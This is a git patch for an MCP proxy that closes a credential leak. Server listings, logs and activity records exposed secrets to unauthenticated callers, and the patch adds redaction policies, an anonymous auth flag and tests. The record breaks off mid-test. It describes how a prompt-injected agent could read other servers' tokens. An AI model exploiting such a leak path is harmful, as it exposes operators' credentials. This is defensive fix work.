From 62c01ba767789c876db97a3aee7d5ce8f5873fd7 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 06:46:07 +0300 Subject: [PATCH 1/4] fix(security): mask secrets on MCP server payloads and stop nil/anonymous auth revealing them (#1148) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `quarantine_security list_quarantined` json.Marshal'd the raw []*config.ServerConfig from storage, so every credential the struct carries left through the MCP surface in the clear — and /mcp is unprotected by default, so any caller could read them. The leak was wider than reported: env values, header values, oauth.client_secret, URL query credentials AND argv tokens. The response was then recorded verbatim into the activity store (BBolt, SSE, `activity list`). Redacted view (a): New internal/server/mcp_server_view.go builds MCP-facing server payloads by walking the config's OWN JSON through the shared redaction walker from #1149, not from a hand-written key list — so the next field added to ServerConfig is masked by default rather than leaked by default. The walker is now policy-driven: live surfaces render with oauth.MaskValue, persisted ones with oauth.AuditMaskValue. Env, header and URL leaves deliberately reproduce internal/oauth's own rendering byte for byte on live surfaces, because UnmaskEnvValues/UnmaskHeaders/UnmaskURL recognise an echoed mask by that exact string; rendering them any other way would make a read-modify-write client persist the mask over the real secret. Every other leaf — argv tokens and any future field — is detector-masked unconditionally. argv had no unmask contract, so one is added (unmaskArgv) alongside masking it. Auth gate (b): The gate read `authCtx != nil && !authCtx.IsAdmin()`, so absence of a token passed where a scoped agent token failed. The real path is narrower than "nil is admin": mcpAuthMiddleware deliberately installs an admin context for unauthenticated /mcp back-compat. That upgrade stays — it is why unauthenticated MCP clients work — but the context is now marked Anonymous, and the new nil-safe CanRevealSecrets() distinguishes it from an authenticated admin. Its single consumer is `reveal_secret_headers`. stdio now installs an explicit admin context instead of relying on nil. Behaviour change, exhaustively: list_quarantined is masked for everyone; reveal_secret_headers:true returns raw values only to an API-key/agent admin, a tray socket connection, or stdio; tail_log lines and connection_message strings are scrubbed; activity rows for both management built-ins record the audit-masked response. NOT changed: ordinary tool calls, retrieve_tools, add/update/patch/ enable/disable/restart and every quarantine approval still work for an unauthenticated /mcp session. The REST API is untouched. Sibling paths (c): - upstream_servers list: reveal gate above; argv now masked; the projection is sourced from the view so it cannot drift. - tail_log: lines and connection_status.last_error scrubbed. Fixed at the source too — Connect() logged the raw upstream URL into server-.log on every attempt (logSafeURL). - connection errors: the three unscrubbed sites in monitorConnectionStatus / handleUpdateUpstream now use the same scrubUpstreamText as the list path's last_error. - add_from_registry summary: url and args from the view. - inspect_quarantined: verified safe — it emits tool analysis only, never the server config. Unchanged. --- docs/api/rest-api.md | 5 + docs/configuration/upstream-servers.md | 16 + internal/auth/context.go | 45 ++ internal/auth/context_test.go | 34 ++ internal/server/mcp.go | 108 +++-- internal/server/mcp_activity_args.go | 161 ++++++-- internal/server/mcp_auth_anonymous_test.go | 115 ++++++ internal/server/mcp_secret_redaction_test.go | 388 ++++++++++++++++++ internal/server/mcp_server_view.go | 231 +++++++++++ internal/server/server.go | 41 +- internal/upstream/core/connection.go | 25 +- internal/upstream/core/connection_launcher.go | 4 +- internal/upstream/core/connection_oauth.go | 6 +- .../core/connection_url_redact_test.go | 48 +++ 14 files changed, 1151 insertions(+), 76 deletions(-) create mode 100644 internal/server/mcp_auth_anonymous_test.go create mode 100644 internal/server/mcp_secret_redaction_test.go create mode 100644 internal/server/mcp_server_view.go create mode 100644 internal/upstream/core/connection_url_redact_test.go diff --git a/docs/api/rest-api.md b/docs/api/rest-api.md index 45d071c11..dd4d17dd4 100644 --- a/docs/api/rest-api.md +++ b/docs/api/rest-api.md @@ -152,6 +152,11 @@ preserved) and the [`config-to-secret`](#post-apiv1serversnameconfig-to-secret) endpoint reads the real value server-side. Flip the flag only if you need to inspect a raw value through the API for debugging. +On the MCP channel the flag also requires an **authenticated** caller +(issue #1148): an unauthenticated `/mcp` client is admin only for backward +compatibility, and gets the masked values regardless of the flag. The REST +API always requires an API key, so it is unaffected. + The MCP `upstream_servers` tool was the original motivator for redaction (see [PR #425](https://github.com/smart-mcp-proxy/mcpproxy-go/pull/425)) — a prompt-injected agent could otherwise read another upstream's PAT via diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index 722946c18..e16dae2bc 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -146,6 +146,22 @@ To disable redaction (for debugging only), set `reveal_secret_headers: true` in `mcp_config.json`. **It's not normally needed**: the editing flow described below works without ever exposing the plaintext to the client. +Since v0.64 (issue #1148) the flag additionally requires an **authenticated** +caller. `/mcp` is deliberately unprotected by default +(`require_mcp_auth: false`), so an unauthenticated MCP client is treated as +admin for backward compatibility — but that is not an identity, and it no +longer satisfies a check that hands back raw credentials. With the flag on, +raw values are returned to a caller presenting the API key or an admin agent +token, to a tray/socket connection (authenticated by OS-level socket +permissions), and over stdio; an unauthenticated TCP `/mcp` caller gets the +masked values. Nothing else changes: every other operation an unauthenticated +MCP client can perform today still works. + +Argument vectors are masked too: a credential passed as `--api-key sk-…` in +`args` is masked by flag name and by value shape, and a masked argument echoed +back through `args_json` is reverted to the stored value rather than persisted +over it. + ### How you edit them #### Web UI / macOS tray diff --git a/internal/auth/context.go b/internal/auth/context.go index 036d01b93..0f6cd9129 100644 --- a/internal/auth/context.go +++ b/internal/auth/context.go @@ -25,6 +25,17 @@ type AuthContext struct { DisplayName string // User's display name Role string // "admin" or "user" (empty for API key / agent token auth) Provider string // OAuth provider used (e.g., "google", "github") + + // Anonymous marks a context that was NOT authenticated and only carries + // admin type for backward compatibility (issue #1148). + // + // /mcp is deliberately unprotected by default (require_mcp_auth=false) so + // MCP clients that cannot send an API key keep working, and the middleware + // therefore hands an unauthenticated request an admin context. That is + // fine for the operations those clients need — and it is NOT an identity, + // so it must not satisfy a check that hands back raw credentials. See + // CanRevealSecrets. + Anonymous bool } // contextKey is an unexported type used as context key to avoid collisions. @@ -106,6 +117,40 @@ func AdminContext() *AuthContext { } } +// AnonymousContext returns the back-compat admin context for an +// UNAUTHENTICATED MCP request (issue #1148). +// +// Type stays AuthTypeAdmin on purpose: every existing IsAdmin()-based +// allowance — ordinary tool calls, retrieve_tools, server add/update/patch, +// quarantine approvals — behaves exactly as it did, so no MCP client that +// works today stops working. The only thing the Anonymous bit changes is +// CanRevealSecrets. +func AnonymousContext() *AuthContext { + return &AuthContext{ + Type: AuthTypeAdmin, + Anonymous: true, + } +} + +// CanRevealSecrets reports whether this caller may be handed RAW credential +// values (issue #1148) — today, `upstream_servers list` under the opt-in +// `reveal_secret_headers` flag. +// +// It is deliberately stricter than IsAdmin and deliberately nil-safe: +// +// - an unauthenticated /mcp caller is admin for back-compat but has proved no +// identity, so it gets masked values like everyone else; +// - a nil context (the stdio transport before it installs one, an in-process +// caller, a test) is unprivileged rather than admin-by-absence — the +// opposite of the `authCtx != nil && !authCtx.IsAdmin()` shape, which lets +// the ABSENCE of a token pass a gate that a scoped token fails. +// +// Authenticated admins — the API key, a tray/socket connection, stdio, an +// OAuth admin user in the server edition — are unaffected. +func (ac *AuthContext) CanRevealSecrets() bool { + return ac != nil && ac.IsAdmin() && !ac.Anonymous +} + // UserContext returns an AuthContext for a regular OAuth-authenticated user. func UserContext(userID, email, displayName, provider string) *AuthContext { return &AuthContext{ diff --git a/internal/auth/context_test.go b/internal/auth/context_test.go index 4bc89243b..679800d50 100644 --- a/internal/auth/context_test.go +++ b/internal/auth/context_test.go @@ -310,3 +310,37 @@ func TestUserContext_NoImplicitAccess(t *testing.T) { assert.False(t, ac.CanAccessServer("github")) assert.False(t, ac.HasPermission(PermRead)) } + +// TestAnonymousContext_CanRevealSecrets pins the distinction issue #1148 turns +// on: an unauthenticated /mcp caller is still treated as admin for every +// operation that worked before (that back-compat is deliberate), but it is NOT +// an identity, so it cannot ask for raw secrets. A nil context — the stdio +// transport before it installs one, an in-process caller, a test — must fail +// the same way rather than inheriting admin by absence. +func TestAnonymousContext_CanRevealSecrets(t *testing.T) { + anon := AnonymousContext() + if !anon.IsAdmin() { + t.Fatal("AnonymousContext must stay admin so existing unauthenticated MCP operations keep working") + } + if anon.CanRevealSecrets() { + t.Error("anonymous caller must not be allowed to reveal secrets") + } + + if !AdminContext().CanRevealSecrets() { + t.Error("an authenticated admin must still be allowed to reveal secrets") + } + + var nilCtx *AuthContext + if nilCtx.CanRevealSecrets() { + t.Error("a nil auth context must not be treated as a secret-revealing admin") + } + + agent := &AuthContext{Type: AuthTypeAgent, AgentName: "bot", AllowedServers: []string{"*"}} + if agent.CanRevealSecrets() { + t.Error("agent tokens must not be allowed to reveal secrets") + } + + if !AdminUserContext("u1", "a@b.c", "A", "google").CanRevealSecrets() { + t.Error("an OAuth-authenticated admin user must be allowed to reveal secrets") + } +} diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 61496b5ec..9b5b91b2d 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -3258,12 +3258,17 @@ func (p *MCPProxyServer) handleAddServerFromRegistry(ctx context.Context, reques // Slim, stable projection mirroring the REST AddedServerSummary so every // surface reports the persisted server identically. + // Issue #1148: URL and Args are the two credential-bearing fields of this + // summary (a registry entry can carry `?token=…`, and a user-supplied arg + // vector routinely carries `--api-key …`). Source them from the redacted + // view so the echo cannot republish what the caller just configured. + registryView := redactedServerView(cfg, liveRedaction) summary := contracts.AddedServerSummary{ Name: cfg.Name, Protocol: cfg.Protocol, Command: cfg.Command, - Args: cfg.Args, - URL: cfg.URL, + Args: redactedArgs(cfg.Args, liveRedaction), + URL: viewString(registryView, "url", cfg.URL), Enabled: cfg.Enabled, Quarantined: cfg.Quarantined, } @@ -3415,9 +3420,14 @@ func (p *MCPProxyServer) handleUpstreamServers(ctx context.Context, request mcp. if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", errMsg, time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, responseText, nil, "") + // Issue #1148: the activity store persists in BBolt, streams over SSE + // and is exported by `mcpproxy activity list`, so the response is + // re-rendered under the AUDIT policy (a fixed marker carrying neither + // the secret's length nor its trailing bytes). One net here covers + // every current and future operation of this built-in. + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") } return result, opErr @@ -3528,9 +3538,10 @@ func (p *MCPProxyServer) handleQuarantineSecurity(ctx context.Context, request m if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", errMsg, time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, responseText, nil, "") + // Issue #1148: see the matching net in handleUpstreamServers. + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") } return result, opErr @@ -3748,27 +3759,43 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool // Enhance server list with connection status and Docker isolation info enhancedServers := make([]map[string]interface{}, len(servers)) - revealHeaders := p.config != nil && p.config.RevealSecretHeaders + // Redact sensitive header values (Authorization, X-API-Key, Cookie, etc.), + // env-var secrets, URL query credentials and argv tokens before surfacing + // them through the MCP tool. An MCP agent inside a sandbox should never be + // able to read another upstream's Bearer token, API key, or URL-embedded + // secret via `upstream_servers list`. + // + // Issue #1148: `reveal_secret_headers` is an operator opt-in for a TRUSTED + // read surface, so it now additionally requires an AUTHENTICATED admin. + // /mcp is unprotected by default, so before this an anonymous caller on + // that endpoint got the raw values the flag was meant to hand the + // operator. CanRevealSecrets is nil-safe: an in-process/stdio caller with + // no context gets masked values rather than admin-by-absence. + revealHeaders := p.config != nil && p.config.RevealSecretHeaders && + auth.AuthContextFromContext(ctx).CanRevealSecrets() for i, server := range servers { - // Redact sensitive header values (Authorization, X-API-Key, Cookie, - // etc.), env-var secrets, and URL query credentials before surfacing - // them through the MCP tool. An MCP agent inside a sandbox should - // never be able to read another upstream's Bearer token, API key, or - // URL-embedded secret via `upstream_servers list`. Operators who - // genuinely need the raw values can set `reveal_secret_headers: true`. - headers := server.Headers - serverURL := server.URL - serverEnv := server.Env + // The secret-bearing fields are sourced from redactedServerView — the + // shared walker over the config's own JSON — rather than from a + // per-field redactor call, so this projection cannot drift from the + // one `list_quarantined` uses. viewField falls back to the raw value + // only for keys ServerConfig omits when empty, which keeps the + // response shape byte-identical to before. + view := redactedServerView(server, liveRedaction) + headers := interface{}(server.Headers) + serverURL := interface{}(server.URL) + serverEnv := interface{}(server.Env) + serverArgs := interface{}(server.Args) if !revealHeaders { - headers = oauth.RedactStringHeaders(server.Headers) - serverEnv = oauth.RedactEnvValues(server.Env) - serverURL = oauth.RedactURLQueryParams(server.URL) + headers = viewField(view, "headers", server.Headers) + serverEnv = viewField(view, "env", server.Env) + serverURL = viewField(view, "url", server.URL) + serverArgs = redactedArgs(server.Args, liveRedaction) } serverMap := map[string]interface{}{ "name": server.Name, "protocol": server.Protocol, "command": server.Command, - "args": server.Args, + "args": serverArgs, "url": serverURL, "env": serverEnv, "headers": headers, @@ -3803,7 +3830,7 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool // all) is commonly echoed into the error; scrub it before it // reaches connection_status.last_error and health.detail. if !revealHeaders { - lastError = oauth.RedactSensitiveData(lastError) + lastError = scrubUpstreamText(lastError) } } isConnected = connInfo.State.String() == "connected" @@ -4218,7 +4245,16 @@ func (p *MCPProxyServer) handleListQuarantinedUpstreams(ctx context.Context) (*m } jsonResult, err := json.Marshal(map[string]interface{}{ - "servers": servers, + // Issue #1148: this used to marshal the raw []*config.ServerConfig, so + // env values, header values, oauth.client_secret, URL query + // credentials and argv tokens all left through the MCP surface in the + // clear — to any caller, /mcp being unauthenticated by default — and + // were recorded verbatim into the activity store. + // + // The full (masked) config is still the right payload here: the point + // of inspecting a quarantined server is to see HOW it is configured, + // including WHICH secrets it carries. Only the values go. + "servers": redactedServerViews(servers, liveRedaction), "total": len(servers), // One line per server so "nobody ever scanned this" is visible right // here, next to the decision it should inform. @@ -5004,7 +5040,7 @@ func (p *MCPProxyServer) handleUpdateUpstream(ctx context.Context, request mcp.C if err := p.upstreamManager.AddServer(serverID, mergedServer); err != nil { p.logger.Warn("Failed to connect to updated upstream", zap.String("id", serverID), zap.Error(err)) connectionStatus = statusError - connectionMessage = fmt.Sprintf("Failed to update server config: %v", err) + connectionMessage = scrubUpstreamText(fmt.Sprintf("Failed to update server config: %v", err)) } else { // Monitor connection status for 1 minute connectionStatus, connectionMessage = p.monitorConnectionStatus(ctx, name, 1*time.Minute) @@ -5214,7 +5250,12 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(argsJSON), &args); err != nil { return nil, opts, fmt.Errorf("invalid args_json format: %v", err) } - patch.Args = args + // #1148: the read path masks credential-shaped argv tokens; restore + // any the caller echoed back masked, so the mask is never persisted + // over the real value (parity with the env/header/url unmaskers). + // args_json REPLACES the vector, so an unedited echo of a masked list + // would otherwise wipe the credential. + patch.Args = unmaskArgv(args, existingServer.Args) } // Handle env JSON string - maps are deep merged with RFC 7396 null-means-remove @@ -5566,7 +5607,13 @@ func (p *MCPProxyServer) handleTailLog(_ context.Context, request mcp.CallToolRe "server_name": name, "lines_requested": lines, "lines_returned": len(logLines), - "log_lines": logLines, + // Issue #1148 (c2): the per-server log is written by mcpproxy AND by + // the child process, and both put credentials in it — the connection + // logger records the upstream URL with its `?token=…`, and an MCP + // server is free to print its own API key. Scrub every line before it + // leaves through the tool response and is recorded into the activity + // store. + "log_lines": scrubUpstreamLines(logLines), "server_status": map[string]interface{}{ "enabled": serverConfig.Enabled, "quarantined": serverConfig.Quarantined, @@ -5576,6 +5623,10 @@ func (p *MCPProxyServer) handleTailLog(_ context.Context, request mcp.CallToolRe // Add connection status if available if client, exists := p.upstreamManager.GetClient(name); exists { connectionStatus := client.GetConnectionStatus() + // last_error commonly echoes the upstream URL, credentials included. + if lastError, ok := connectionStatus["last_error"].(string); ok { + connectionStatus["last_error"] = scrubUpstreamText(lastError) + } result["connection_status"] = connectionStatus } @@ -5854,12 +5905,15 @@ func (p *MCPProxyServer) monitorConnectionStatus(ctx context.Context, serverName case types.StateReady: return "ready", "Server connected and ready" case types.StateError: - return "error", fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError) + // Issue #1148 (c3): scrubbed like the `last_error` this + // same string feeds in `upstream_servers list` — it lands + // in connection_message and in the activity record. + return "error", scrubUpstreamText(fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError)) case types.StatePendingAuth: // Parked awaiting user login (#1013): waiting out the monitor // timeout would just stall the caller — nothing will change // until a human signs in. - return statusError, fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError) + return statusError, scrubUpstreamText(fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError)) case types.StateDisconnected: // If server is explicitly disconnected and enabled is false, return disabled for _, serverConfig := range p.config.Servers { diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index 926f256de..c4603d3af 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -279,43 +279,113 @@ func normalizeForRedaction(v interface{}) interface{} { return out } -// redactActivityValue walks a generic JSON value, masking leaves according to -// the key that encloses them. `key` is the enclosing field name (for a slice, -// the name of the slice itself). +// redactionPolicy is the pair of decisions that separate the two surfaces this +// walker serves (issue #1148). The RULES — which key names are sensitive, which +// values look like credentials, how argv pairs up — are shared; only the +// rendering and the length cap differ, so the two surfaces cannot drift on the +// part that decides what is a secret. +type redactionPolicy struct { + // mask renders one masked secret. + mask func(string) string + // limit caps each string leaf, or 0 for no cap. + limit int + // detectContractedLeaves runs the value-shaped secret detector over the + // THREE leaf kinds internal/oauth owns a write-path unmask contract for: + // env values, header values and the server URL. + // + // Those three must render EXACTLY as oauth.maskedEnvValue / + // maskedHeaderValue / RedactURLQueryParams do, because + // oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL recognise an echoed + // mask by comparing against that rendering byte for byte. A live surface + // that rendered them any other way would make a read-modify-write client + // persist the mask OVER the real secret — so live surfaces turn this off + // and inherit oauth's coverage (which already includes + // RedactSensitiveData) for those three. + // + // Every OTHER leaf — argv tokens, and any present or future string field + // of ServerConfig — is detector-masked unconditionally: nothing unmasks + // those, so there is no contract to honour and maximal masking wins. + detectContractedLeaves bool +} + +// auditRedaction is the policy for anything PERSISTED or EXPORTED: the fixed +// `••••` marker (no length, no trailing bytes — see the file header) and the +// activity-store size cap. +var auditRedaction = redactionPolicy{mask: oauth.AuditMaskValue, limit: activityArgValueLimit, detectContractedLeaves: true} + +// liveRedaction is the policy for the LIVE MCP read surfaces (upstream_servers +// list, quarantine_security list_quarantined). +// +// It keeps oauth.MaskValue's `•••• ( chars)` rendering, and that is +// load-bearing rather than cosmetic: the patch/update path calls +// oauth.UnmaskURL / UnmaskEnvValues / UnmaskHeaders, which recognise exactly +// that rendering when a client echoes a value back. A read-modify-write agent +// that round-tripped an `••••` marker instead would OVERWRITE the real secret +// with the mask string. +// +// It does not cap: a truncated URL or arg is no longer equal to mask(stored), +// so the unmasker would write the truncation through. And it leaves the +// contracted leaves to oauth's own rendering — see detectContractedLeaves. +var liveRedaction = redactionPolicy{mask: oauth.MaskValue, limit: 0, detectContractedLeaves: false} + +// capString applies the policy's length cap, if any. +func (r redactionPolicy) capString(s string) string { + if r.limit <= 0 || len(s) <= r.limit { + return s + } + return s[:safeTruncateBytes(s, r.limit)] + activityErrorMessageEllipsis +} + +// redactActivityValue walks a generic JSON value under the audit policy. func redactActivityValue(key string, v interface{}) interface{} { + return redactValueWith(key, v, auditRedaction) +} + +// redactValueWith walks a generic JSON value, masking leaves according to the +// key that encloses them. `key` is the enclosing field name (for a slice, the +// name of the slice itself). +func redactValueWith(key string, v interface{}, r redactionPolicy) interface{} { switch typed := v.(type) { case map[string]interface{}: out := make(map[string]interface{}, len(typed)) isHeaders := isActivityHeadersKey(key) + isEnv := isActivityEnvKey(key) for k, val := range typed { - if isHeaders { - if s, ok := val.(string); ok { + if s, ok := val.(string); ok { + switch { + case isHeaders: // HTTP header semantics: mask by header name. - out[k] = redactActivityHeaderValue(k, s) + out[k] = redactHeaderValueWith(k, s, r) + continue + case isEnv: + // Environment-variable semantics: mask by var name, using + // oauth's own rendering so the write path can recognise an + // echoed mask. + out[k] = redactEnvValueWith(k, s, r) continue } } - out[k] = redactActivityValue(k, val) + out[k] = redactValueWith(k, val, r) } return out case []interface{}: if isActivityArgvKey(key) { - return redactActivityArgv(typed) + return redactArgvWith(typed, r) } out := make([]interface{}, len(typed)) for i, val := range typed { - out[i] = redactActivityValue(key, val) + out[i] = redactValueWith(key, val, r) } return out case string: - return redactActivityString(key, typed) + return redactStringWith(key, typed, r) default: // Bools, json.Number and nil carry no secrets and stay verbatim. return v } } -// redactActivityString masks one string leaf. The default policy is the env-var +// redactStringWith masks one string leaf. The default policy is the env-var // rule (oauth.RedactEnvValuesWith over a single pair), which is the package's // single source of truth for "does this key name look like it holds a secret": // it masks sensitive-looking keys, passes ${keyring:…}/${env:…} references @@ -333,20 +403,41 @@ func redactActivityValue(key string, v interface{}) interface{} { // through is then offered to the detector. A value the name rule already masked // is inert by the time the detector sees it. // -// The mask is oauth.AuditMaskValue, not oauth.MaskValue — see the file header. -func redactActivityString(key, s string) string { +// The mask is supplied by the policy — see redactionPolicy above and the file +// header for why the audit and live surfaces render differently. +func redactStringWith(key, s string, r redactionPolicy) string { switch { case isActivityHeadersKey(key): - return redactActivityHeaderValue(key, s) + return redactHeaderValueWith(key, s, r) case strings.EqualFold(key, "url"): - return capActivityValue(maskDetectedSecrets(oauth.RedactURLQueryParamsWith(s, oauth.AuditMaskValue))) + return r.capString(r.detectContracted(oauth.RedactURLQueryParamsWith(s, r.mask))) default: - named := oauth.RedactEnvValuesWith(map[string]string{key: s}, oauth.AuditMaskValue)[key] - return capActivityValue(maskDetectedSecrets(named)) + // An UNCONTRACTED leaf: a plain config field, a future field, or an + // argv token's value. Nothing unmasks these, so the detector always + // runs. + named := oauth.RedactEnvValuesWith(map[string]string{key: s}, r.mask)[key] + return r.capString(maskDetectedSecrets(named)) + } +} + +// redactEnvValueWith masks one environment-variable leaf, reproducing +// oauth.maskedEnvValue exactly so oauth.UnmaskEnvValues can recognise the +// rendering if a client echoes it back on the write path. +func redactEnvValueWith(name, value string, r redactionPolicy) string { + masked := oauth.RedactEnvValuesWith(map[string]string{name: value}, r.mask)[name] + return r.capString(r.detectContracted(masked)) +} + +// detectContracted runs the value-shaped detector only for a policy that opted +// in for the contracted leaves. See redactionPolicy.detectContractedLeaves. +func (r redactionPolicy) detectContracted(s string) string { + if !r.detectContractedLeaves { + return s } + return maskDetectedSecrets(s) } -// redactActivityHeaderValue masks one HTTP header leaf, judged by the header +// redactHeaderValueWith masks one HTTP header leaf, judged by the header // NAME first and then by the value's own shape. // // Both rules are needed and neither is sufficient. oauth's name matcher cannot @@ -355,9 +446,9 @@ func redactActivityString(key, s string) string { // `X-Zyx` holding a bearer token is still unknowable from the name); the // detector cannot recognise an opaque value with no credential shape. Running // both is the only combination that closes each other's gap. -func redactActivityHeaderValue(name, value string) string { - masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, oauth.AuditMaskValue)[name] - return capActivityValue(maskDetectedSecrets(masked)) +func redactHeaderValueWith(name, value string, r redactionPolicy) string { + masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, r.mask)[name] + return r.capString(r.detectContracted(masked)) } // redactActivityConfigValues redacts a flat before/after value map for a @@ -386,11 +477,11 @@ func isActivityArgvKey(key string) bool { return strings.EqualFold(key, "args") } -// redactActivityArgv masks a command-line argument vector. +// redactArgvWith masks a command-line argument vector. // // Issue #1146, review round: argv was the one leak the key-driven walker could // not see. An argv token has no enclosing key — the slice branch recursed with -// the PARENT key ("args"), so every element reached redactActivityString("args", +// the PARENT key ("args"), so every element reached redactStringWith("args", // elem) and fell through unmasked. Passing a credential as an argv token // (`uvx mcp-foo --api-key sk-live-…`) is one of the commonest MCP server config // shapes, so the record persisted in BBolt, the SSE payload and @@ -399,7 +490,7 @@ func isActivityArgvKey(key string) bool { // Two rules, because argv secrets announce themselves in two ways: // // - The FLAG names the credential — `--api-key VALUE` and `--api-key=VALUE`. -// Delegated to redactActivityString with the de-dashed flag as the key, so +// Delegated to redactStringWith with the de-dashed flag as the key, so // the same single source of truth the env map uses decides, and the flag // itself stays readable (it is the audit signal: WHICH credential moved). // - The VALUE is recognisably a credential on its own — an AWS key, a GitHub @@ -410,13 +501,13 @@ func isActivityArgvKey(key string) bool { // BOTH rules run on BOTH spellings. Round 3 found the inline form consulting // only the first: `--endpoint=ghp_…` names nothing sensitive, so nothing ever // looked at the value and the token was stored in the clear, while the -// identical `--endpoint ghp_…` was masked. redactActivityString now ends in the +// identical `--endpoint ghp_…` was masked. redactStringWith now ends in the // detector for every leaf, which is what keeps the two spellings in step by // construction rather than by two call sites remembering to agree. // // Everything else round-trips verbatim: package names, subcommands, paths and // ports are what make the record useful. -func redactActivityArgv(argv []interface{}) []interface{} { +func redactArgvWith(argv []interface{}, r redactionPolicy) []interface{} { out := make([]interface{}, len(argv)) maskNext := false @@ -425,23 +516,23 @@ func redactActivityArgv(argv []interface{}) []interface{} { if !ok { // A non-string element carries no flag semantics; walk it with no // enclosing key and reset the pairing. - out[i] = redactActivityValue("", item) + out[i] = redactValueWith("", item, r) maskNext = false continue } if maskNext { - out[i] = capActivityValue(oauth.AuditMaskValue(s)) + out[i] = r.capString(r.mask(s)) maskNext = false continue } if flag, value, inline := strings.Cut(s, "="); inline && isArgvFlag(flag) { - out[i] = capActivityValue(flag + "=" + redactActivityString(argvFlagKey(flag), value)) + out[i] = r.capString(flag + "=" + redactStringWith(argvFlagKey(flag), value, r)) continue } - out[i] = capActivityValue(maskDetectedSecrets(s)) + out[i] = r.capString(maskDetectedSecrets(s)) maskNext = isArgvFlag(s) && oauth.IsSensitiveKeyName(argvFlagKey(s)) } @@ -486,9 +577,9 @@ func isActivityHeadersKey(key string) bool { return strings.EqualFold(key, "headers") } -func capActivityValue(s string) string { - if len(s) <= activityArgValueLimit { - return s - } - return s[:safeTruncateBytes(s, activityArgValueLimit)] + activityErrorMessageEllipsis +// isActivityEnvKey reports whether a map should be masked with +// environment-variable semantics. Covers both the `env` config field and the +// `env_json` tool parameter (the suffix is trimmed before the walk). +func isActivityEnvKey(key string) bool { + return strings.EqualFold(key, "env") } diff --git a/internal/server/mcp_auth_anonymous_test.go b/internal/server/mcp_auth_anonymous_test.go new file mode 100644 index 000000000..418dd946c --- /dev/null +++ b/internal/server/mcp_auth_anonymous_test.go @@ -0,0 +1,115 @@ +package server + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/require" + "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" +) + +func newAuthMiddlewareTestServer(t *testing.T, apiKey string) *Server { + t.Helper() + + cfg := config.DefaultConfig() + cfg.DataDir = t.TempDir() + cfg.Listen = "127.0.0.1:0" + cfg.APIKey = apiKey + + srv, err := NewServer(cfg, zap.NewNop()) + require.NoError(t, err) + t.Cleanup(func() { _ = srv.Shutdown() }) + return srv +} + +// captureAuthContext runs one request through mcpAuthMiddleware and returns the +// AuthContext the downstream handler saw. +func captureAuthContext(t *testing.T, srv *Server, req *http.Request) (*auth.AuthContext, int) { + t.Helper() + + var seen *auth.AuthContext + handler := srv.mcpAuthMiddleware(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { + seen = auth.AuthContextFromContext(r.Context()) + })) + rec := httptest.NewRecorder() + handler.ServeHTTP(rec, req) + return seen, rec.Code +} + +// TestMCPAuthMiddleware_AnonymousVsAuthenticated is the (b) half of issue +// #1148. The middleware upgrades an unauthenticated /mcp request to admin for +// backward compatibility — that stays — but the resulting context must now +// declare that it is anonymous, so a secret-revealing operation can tell the +// two apart. Authenticated callers (API key, tray socket) must be unaffected. +func TestMCPAuthMiddleware_AnonymousVsAuthenticated(t *testing.T) { + const apiKey = "test-api-key-1148" + srv := newAuthMiddlewareTestServer(t, apiKey) + + t.Run("unauthenticated TCP is anonymous admin", func(t *testing.T) { + ctx, code := captureAuthContext(t, srv, httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody)) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.True(t, ctx.IsAdmin(), "back-compat: unauthenticated MCP clients must keep admin behaviour") + require.True(t, ctx.Anonymous, "unauthenticated caller must be marked anonymous") + require.False(t, ctx.CanRevealSecrets()) + }) + + t.Run("valid API key is a real admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req.Header.Set("X-API-Key", apiKey) + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, 